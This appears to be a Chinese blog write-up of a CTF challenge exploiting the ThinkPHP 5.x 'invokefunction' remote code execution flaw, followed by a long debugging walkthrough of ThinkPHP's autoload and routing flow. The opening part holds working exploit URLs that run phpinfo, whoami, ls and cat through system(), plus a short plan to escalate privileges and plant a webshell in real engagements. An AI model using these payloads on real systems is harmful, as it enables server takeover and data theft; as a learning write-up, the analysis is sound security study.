前言
上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下
正文
进入网站,标准笑脸,老tp人了
直接先一发命令打出phpinfo(),因为是在打ctf有些地方我就没有仔细去看
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
在实战中如果遇到tp的站,先看下disable_functions()
看下session,找一下log等等
滑到页面的最下面看一下tp版本
这个版本是能够利用system函数远程命令执行,命令如下:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
不难看出网站确实存在并且能够执行系统命令,实战渗透方法很明确:
1、首先看下自己当前权限是否是管理员权限,如果是再好不过,不然后面还得想方法进行提权。
2、然后再上传一句话木马,菜刀链接,基本到这就差不多了。
但是有些时候会碰到各种问题,什么waf,什么上马之后没有数据返回等等等等,因为手边没有现成的tp的站,以后碰到了再具体进行分析吧
继续ctf板块:
用ls命令查看当前目录下的文件
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
好像在这个目录下没找到flag,继续往上级目录找,然而上级目录还是没有,但是发现了个robots.txt,爬虫禁止的爬取东西应该就放在里面
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../
最后一直往上了四个目录才终于发现了flag
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../..
cat命令查看一下flag
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../../flag.txt
ctf板块就暂时告一段落
这里我本着寻根溯源的思想去百度了这个版本rce的漏洞原理,可能有些地方现在看得还不是很懂,先贴在这里
框架流程浅析
我们先看入口文件index.php,入口文件非常简洁,只有三行代码。
可以看到这里首先定义了一下命名空间,然后加载一些基础文件后,就开始执行应用。
第二行引入base.php基础文件,加载了Loader类,然后注册了一些机制--如自动加载功能、错误异常的机制、日志接口、注册类库别名。
这些机制中比较重要的一个是自动加载功能,系统会调用 Loader::register()方法注册自动加载,在这一步完成后,所有符合规范的类库(包括Composer依赖加载的第三方类库)都将自动加载。下面我详细介绍下这个自动加载功能。
首先需要注册自动加载功能,注册主要由以下几部分组成:
1. 注册系统的自动加载方法 \think\Loader::autoload
2. 注册系统命名空间定义
3. 加载类库映射文件(如果存在)
4. 如果存在Composer安装,则注册Composer自动加载
5. 注册extend扩展目录
其中2.3.4.5是为自动加载时查找文件路径的时候做准备,提前将一些规则(类库映射、PSR-4、PSR-0)配置好。
然后再说下自动加载流程,看看程序是如何进行自动加载的?
spl_autoload_register()是个自动加载函数,当我们实例化一个未定义的类时就会触发此函数,然后再触发指定的方法,函数第一个参数就代表要触发的方法。
可以看到这里指定了think\Loader::autoload()这个方法。
首先会判断要实例化的$class类是否在之前注册的类库别名$classAlias中,如果在就返回,不在就进入findFile()方法查找文件,
这里将用多种方式进行查找,以类库映射、PSR-4自动加载检测、PSR-0自动加载检测的顺序去查找(这些规则方式都是之前注册自动加载时配置好的),最后会返回类文件的路径,然后include包含,进而成功加载并定义该类。
这就是自动加载方法,按需自动加载类,不需要一一手动加载。在面向对象中这种方法经常使用,可以避免书写过多的引用文件,同时也使整个系统更加灵活。
在加载完这些基础功能之后,程序就会开始执行应用,它首先会通过调用Container类里的静态方法get()去实例化app类,接着去调用app类中的run()方法。
在run()方法中,包含了应用执行的整个流程。
1. $this->initialize(),首先会初始化一些应用。例如:加载配置文件、设置路径环境变量和注册应用命名空间等等。
2. this->hook->listen('app_init'); 监听app_init应用初始化标签位。Thinkphp中有很多标签位置,也可以把这些标签位置称为钩子,在每个钩子处我们可以配置行为定义,通俗点讲,就是你可以往钩子里添加自己的业务逻辑,当程序执行到某些钩子位置时将自动触发你的业务逻辑。
3. 模块\入口绑定
进行一些绑定操作,这个需要配置才会执行。默认情况下,这两个判断条件均为false。
4. $this->hook->listen('app_dispatch');监听app_dispatch应用调度标签位。和2中的标签位同理,所有标签位作用都是一样的,都是定义一些行为,只不过位置不同,定义的一些行为的作用也有所区别。
5. $dispatch = $this->routeCheck()->init(); 开始路由检测,检测的同时会对路由进行解析,利用array_shift函数一一获取当前请求的相关信息(模块、控制器、操作等)。
6. $this->request->dispatch($dispatch);记录当前的调度信息,保存到request对象中。
7.记录路由和请求信息
如果配置开启了debug模式,会把当前的路由和请求信息记录到日志中。
8. $this->hook->listen('app_begin'); 监听app_begin(应用开始标签位)。
9. 根据获取的调度信息执行路由调度
期间会调用Dispatch类中的exec()方法对获取到的调度信息进行路由调度并最终获取到输出数据$response。
然后将$response返回,最后调用Response类中send()方法,发送数据到客户端,将数据输出到浏览器页面上。
在应用的数据响应输出之后,系统会进行日志保存写入操作,并最终结束程序运行。
漏洞预备知识
这部分主要讲解与漏洞相关的知识点,有助于大家更好地理解漏洞形成原因。
命名空间特性
ThinkPHP5.1遵循PSR-4自动加载规范,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,那么就可以实现类的自动加载。
例如,\think\cache\driver\File类的定义为:
namespace think\cache\driver; class File { }
如果我们实例化该类的话,应该是:
$class = new \think\cache\driver\File();
系统会自动加载该类对应路径的类文件,其所在的路径是 thinkphp/library/think/cache/driver/File.php。
可是为什么路径是在thinkphp/library/think下呢?这就要涉及要另一个概念—根命名空间。
1.1 根命名空间
根命名空间是一个关键的概念,以上面的\think\cache\driver\File类为例,think就是一个根命名空间,其对应的初始命名空间目录就是系统的类库目录(thinkphp/library/think),我们可以简单的理解一个根命名空间对应了一个类库包。
系统内置的几个根命名空间(类库包)如下:
1.2 URL访问
在没有定义路由的情况下典型的URL访问规则(PATHINFO模式)是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
什么是pathinfo模式?
我们都知道一般正常的访问应该是:
http://serverName/index.php?m=module&c=controller&a=action&var1=vaule1&var2=vaule2
而pathinfo模式是这样的:
http://serverName/index.php/module/controller/action/var1/vaule1/var2/value2
在php中有一个全局变量$_SERVER['PATH_INFO'],我们可以通过它来获取index.php后面的内容。
什么是$_SERVER['PATH_INFO']?
官方是这样定义它的:包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息。
什么意思呢?简单来讲就是获得访问的文件和查询?之间的内容。
强调一点,在通过$_SERVER['PATH_INFO']获取值时,系统会把'\'自动转换为'/'(这个特性我在Mac Os(MAMP)、Windows(phpstudy)、Linux(php+apache)环境及php5.x、7.x中进行了测试,都会自动转换,所以系统及版本之间应该不会有所差异)。
下面再分别介绍下入口文件、模块、控制器、操作、参数名/参数值。
1. 入口文件
文件地址:public\index.php
作用:负责处理请求
2. 模块(以前台为例)
模块地址:application\index
作用:网站前台的相关部分
3. 控制器
控制器目录:application\index\controller
作用:书写业务逻辑
4. 操作(方法)
在控制器中定义的方法
5. 参数名/参数值
方法中的参数及参数值
例如我们要访问index模块下的Test.php控制器文件中的hello()方法。
那么可以输入<http://serverName/index.php/index(模块)/Test(控制器)/hello(方法)/name(参数名)/world(参数值)
这样就访问到指定文件了。
另外再讲一下Thinkphp的几种传参方式及差别。
PATHINFO: index.php/index/Test/hello/name/world
只能以这种方式传参。
兼容模式:
index.php?s=index/Test/hello/name/world
index.php?s=index/Test/hello&name=world
当我们有两个变量$a、$b时,在兼容模式下还可以将两者结合传参:
index.php?s=index/Test/hello/a/1&b=2
这时,我们知道了URL访问规则,当然也要了解下程序是怎样对URL解析处理,最后将结果输出到页面上的。
1.3 URL路由解析动态调试分析
URL路由解析及页面输出工作可以分为5部分。
1. 路由定义:完成路由规则的定义和参数设置
2. 路由检测:检查当前的URL请求是否有匹配的路由
3. 路由解析:解析当前路由实际对应的操作。
4. 路由调度:执行路由解析的结果调度。
5. 响应输出及应用结束:将路由调度的结果数据输出至页面并结束程序运行。
我们通过动态调试来分析,这样能清楚明了的看到程序处理的整个流程,由于在Thinkphp中,配置不同其运行流程也会不同,所以我们采用默认配置来进行分析,并且由于在程序运行过程中会出现很多与之无关的流程,我也会将其略过。
1.3.1 路由定义
通过配置route目录下的文件对路由进行定义,这里我们采取默认的路由定义,就是不做任何路由映射。
1.3.2 路由检测
这部分内容主要是对当前的URL请求进行路由匹配。在路由匹配前先会获取URL中的pathinfo,然后再进行匹配,但如果没有定义路由,则会把当前pathinfo当作默认路由。
首先我们设置好IDE环境,并在路由检测功能处下断点。
然后我们请求上面提到的Test.php文件。
http://127.0.0.1/tp5.1.20/public/index.php/index/test/hello/name/world
我这里是以pathinfo模式请求的,但是其实以不同的方式在请求时,程序处理过程是有稍稍不同的,主要是在获取参数时不同。在后面的分析中,我会进行说明。
F7跟进routeCheck()方法。
route_check_cache路由缓存默认是不开启的。
然后我们进入path()方法。
继续跟进pathinfo()方法。
这里会根据不同的请求方式获取当前URL的pathinfo信息,因为我们的请求方式是pathinfo,所以会调用$this->server('PATH_INFO')去获取,获取之后会使用ltrim()函数对$pathinfo进行处理去掉左侧的’/’符号。Ps:如果以兼容模式请求,则会用$_GET方法获取。
然后返回赋值给$path并将该值带入check()方法对URL路由进行检测。
这里主要是对我们定义的路由规则进行匹配,但是我们是以默认配置来运行程序的,没有定义路由规则,所以跳过中间对于路由检测匹配的过程,直接来看默认路由解析过程,使用默认路由对其进行解析。
1.3.3 路由解析
接下来将会对路由地址进行了解析分割、验证、格式处理及赋值进而获取到相应的模块、控制器、操作名。
new UrlDispatch() 对UrlDispatch(实际上是think\route\dispatch\Url这个类)实例化,因为Url没有构造函数,所以会直接跳到它的父类Dispatch的构造函数,把一些信息传递(包括路由)给Url类对象,这么做的目的是为了后面在调用Url类中方法时方便调用其值。
赋值完成后回到routeCheck()方法,将实例化后的Url对象赋给$dispatch并return返回。
返回后会调用Url类中的init()方法,将$dispatch对象中的得到$this->dispatch(路由)传入parseUrl()方法中,开始解析URL路由地址。
跟进parseUrl()方法。
这里首先会进入parseUrlPath()方法,将路由进行解析分割。
使用"/"进行分割,拿到 [模块/控制器/操作/参数/参数值]。
紧接着使用array_shift()函数挨个从$path数组中取值对模块、控制器、操作、参数/参数值进行赋值。
接着将参数/参数值保存在了Request类中的Route变量中,并进行路由封装将赋值后的$module、$controller、$action存到route数组中,然后将$route返回赋值给$result变量。
new Module($this->request, $this->rule, $result),实例化Module类。
在Module类中也没有构造方法,会直接调用Dispatch父类的构造方法。
然后将传入的值都赋值给Module类对象本身$this。此时,封装好的路由$result赋值给了$this->dispatch,这么做的目的同样是为了后面在调用Module类中方法时方便调用其值。
实例化赋值后会调用Module类中的init()方法,对封装后的路由(模块、控制器、操作)进行验证及格式处理。
$result = $this->dispatch,首先将封装好的路由$this->dispatch数组赋给$result,接着会从$result数组中获取到了模块$module的值并对模块进行大小写转换和html标签处理,接下来会对模块值进行检测是否合规,若不合规,则会直接HttpException报错并结束程序运行。检测合格之后,会再从$result中获取控制器、操作名并处理,同时会将处理后值再次赋值给$this(Module类对象)去替换之前的值。
Ps:从$result中获取值时,程序采用了三元运算符进行判断,如果相关值为空会一律采用默认的值index。这就是为什么我们输入http://127.0.0.1/tp5.1.20/public/index.php在不指定模块、控制器、操作值时会跳到程序默认的index模块的index控制器的index操作中去。
此时调度信息(模块、控制器、操作)都已经保存至Module类对象中,在之后的路由调度工作中会从中直接取出来用。
然后返回Module类对象$this,回到最开始的App类,赋值给$dispatch。
至此,路由解析工作结束,到此我们获得了模块、控制器、操作,这些值将用于接下来的路由调度。
接下来在路由调度前,需要另外说明一些东西:路由解析完成后,如果debug配置为True,则会对路由和请求信息进行记录,这里有个很重要的点param()方法, 该方法的作用是获取变量参数。
在这里,在确定了请求方式(GET)后,会将请求的参数进行合并,分别从$_GET、$_POST(这里为空)和Request类的route变量中进行获取。然后存入Request类的param变量中,接着会对其进行过滤,但是由于没有指定过滤器,所以这里并不会进行过滤操作。
Ps:这里解释下为什么要分别从$_GET中和Request类的route变量中进行获取合并。上面我们说过传参有三种方法。
1. index/Test/hello/name/world
2. index/Test/hello&name=world
3. index/Test/hello/a/1&b=2
当我们如果选择1进行请求时,在之前的路由检测和解析时,会将参数/参数值存入Request类中的route变量中。
而当我们如果选择2进行请求时,程序会将&前面的值剔除,留下&后面的参数/参数值,保存到$_GET中。
并且因为Thinkphp很灵活,我们还可以将这两种方式结合利用,如第3个。
这就是上面所说的在请求方式不同时,程序在处理传参时也会不同。
Ps:在debug未开启时,参数并不会获得,只是保存在route变量或$_GET[]中,不过没关系,因为在后面路由调度时还会调用一次param()方法。
继续调试,开始路由调度工作。
1.3.4 路由调度
这一部分将会对路由解析得到的结果(模块、控制器、操作)进行调度,得到数据结果。
这里首先创建了一个闭包函数,并作为参数传入了add方法()中。
将闭包函数注册为中间件,然后存入了$this->queue[‘route’]数组中。
然后会返回到App类, $response = $this->middleware->dispatch($this->request);执行middleware类中的dispatch()方法,开始调度中间件。
使用call_user_func()回调resolve()方法,
使用array_shift()函数将中间件(闭包函数)赋值给了$middleware,最后赋值给了$call变量。
当程序运行至call_user_func_array()函数继续回调,这个$call参数是刚刚那个闭包函数,所以这时就会调用之前App类中的闭包函数。
中间件的作用官方介绍说主要是用于拦截或过滤应用的HTTP请求,并进行必要的业务处理。所以可以推测这里是为了调用闭包函数中的run()方法,进行路由调度业务。
然后在闭包函数内调用了Dispatch类中的run()方法,开始执行路由调度。
跟进exec()方法。
可以看到,这里对我们要访问的控制器Test进行了实例化,我们来看下它的实例化过程。
将控制器类名$name和控制层$layer传入了parseModuleAndClass()方法,对模块和类名进行解析,获取类的命名空间路径。
在这里如果$name类中以反斜线\开始时就会直接将其作为类的命名空间路径。此时$name是test,明显不满足,所以会进入到else中,从request封装中获取模块的值$module,然后程序将模块$module、控制器类名$name、控制层$layer再传入parseClass()方法。
对$name进行了一些处理后赋值给$class,然后将$this->namespace、$module、$layer、$path、$class拼接在一起形成命名空间后返回。
到这我们就得到了控制器Test的命名空间路径,根据Thinkphp命名空间的特性,获取到命名空间路径就可以对其Test类进行加载。
F7继续调试,返回到了刚刚的controller()方法,开始加载Test类。
加载前,会先使用class_exists()函数检查Test类是否定义过,这时程序会调用自动加载功能去查找该类并加载。
加载后调用__get()方法内的make()方法去实例化Test类。
这里使用反射调用的方法对Test类进行了实例化。先用ReflectionClass创建了Test反射类,然后 return $reflect->newInstanceArgs($args); 返回了Test类的实例化对象。期间顺便判断了类中是否定义了__make方法、获取了构造函数中的绑定参数。
然后将实例化对象赋值赋给$object变量,接着返回又赋给$instance变量。
继续往下看。
这里又创建了一个闭包函数作为中间件,过程和上面一样,最后利用call_user_func_array()回调函数去调用了闭包函数。
在这个闭包函数内,主要做了4步。
1.使用了is_callable()函数对操作方法和实例对象作了验证,验证操作方法是否能用进行调用。
2.new ReflectionMethod()创建了Test的反射类$reflect。
3.紧接着由于url_param_type默认为0,所以会调用param()方法去请求变量,但是前面debug开启时已经获取到了并保存进了Request类对象中的param变量,所以此时只是从中将值取出来赋予$var变量。
4.调用invokeReflectMethod()方法,并将Test实例化对象$instance、反射类$reflect、请求参数$vars传入。
这里调用了bindParams()方法对$var参数数组进行处理,获取了Test反射类的绑定参数,获取到后将$args传入invokeArgs()方法,进行反射执行。
然后程序就成功运行到了我们访问的文件(Test)。
运行之后返回数据结果,到这里路由调度的任务也就结束了,剩下的任务就是响应输出了,将得到数据结果输出到浏览器页面上。
1.3.5 响应输出及应用结束
这一小节会对之前得到的数据结果进行响应输出并在输出之后进行扫尾工作结束应用程序运行。在响应输出之前首先会构建好响应对象,将相关输出的内容存进Response对象,然后调用Response::send()方法将最终的应用返回的数据输出到页面。
继续调试,来到autoResponse()方法,这个方法程序会来回调用两次,第一次主要是为了创建响应对象,第二次是进行验证。我们先来看第一次,
此时$data不是Response类的实例化对象,跳到了elseif分支中,调用Response类中的create()方法去获取响应输出的相关数据,构建Response对象。
执行new static($data, $code, $header, $options);实例化自身Response类,调用__construct()构造方法。
可以看到这里将输出内容、页面的输出类型、响应状态码等数据都传递给了Response类对象,然后返回,回到刚才autoResponse()方法中
到此确认了具体的输出数据,其中包含了输出的内容、类型、状态码等。
上面主要做的就是构建响应对象,将要输出的数据全部封装到Response对象中,用于接下来的响应输出。
继续调试,会返回到之前Dispatch类中的run()方法中去,并将$response实例对象赋给$data。
紧接着会进行autoResponse()方法的第二次调用,同时将$data传入,进行验证。
这回$data是Response类的实例化对象,所以将$data赋给了$response后返回。
然后就开始调用Response类中send()方法,向浏览器页面输送数据。
这里依次向浏览器发送了状态码、header头信息以及得到的内容结果。
输出完毕后,跳到了appShutdown()方法,保存日志并结束了整个程序运行。
1.4 流程总结
上面通过动态调试一步一步地对URL解析的过程进行了分析,现在我们来简单总结下其过程:
首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束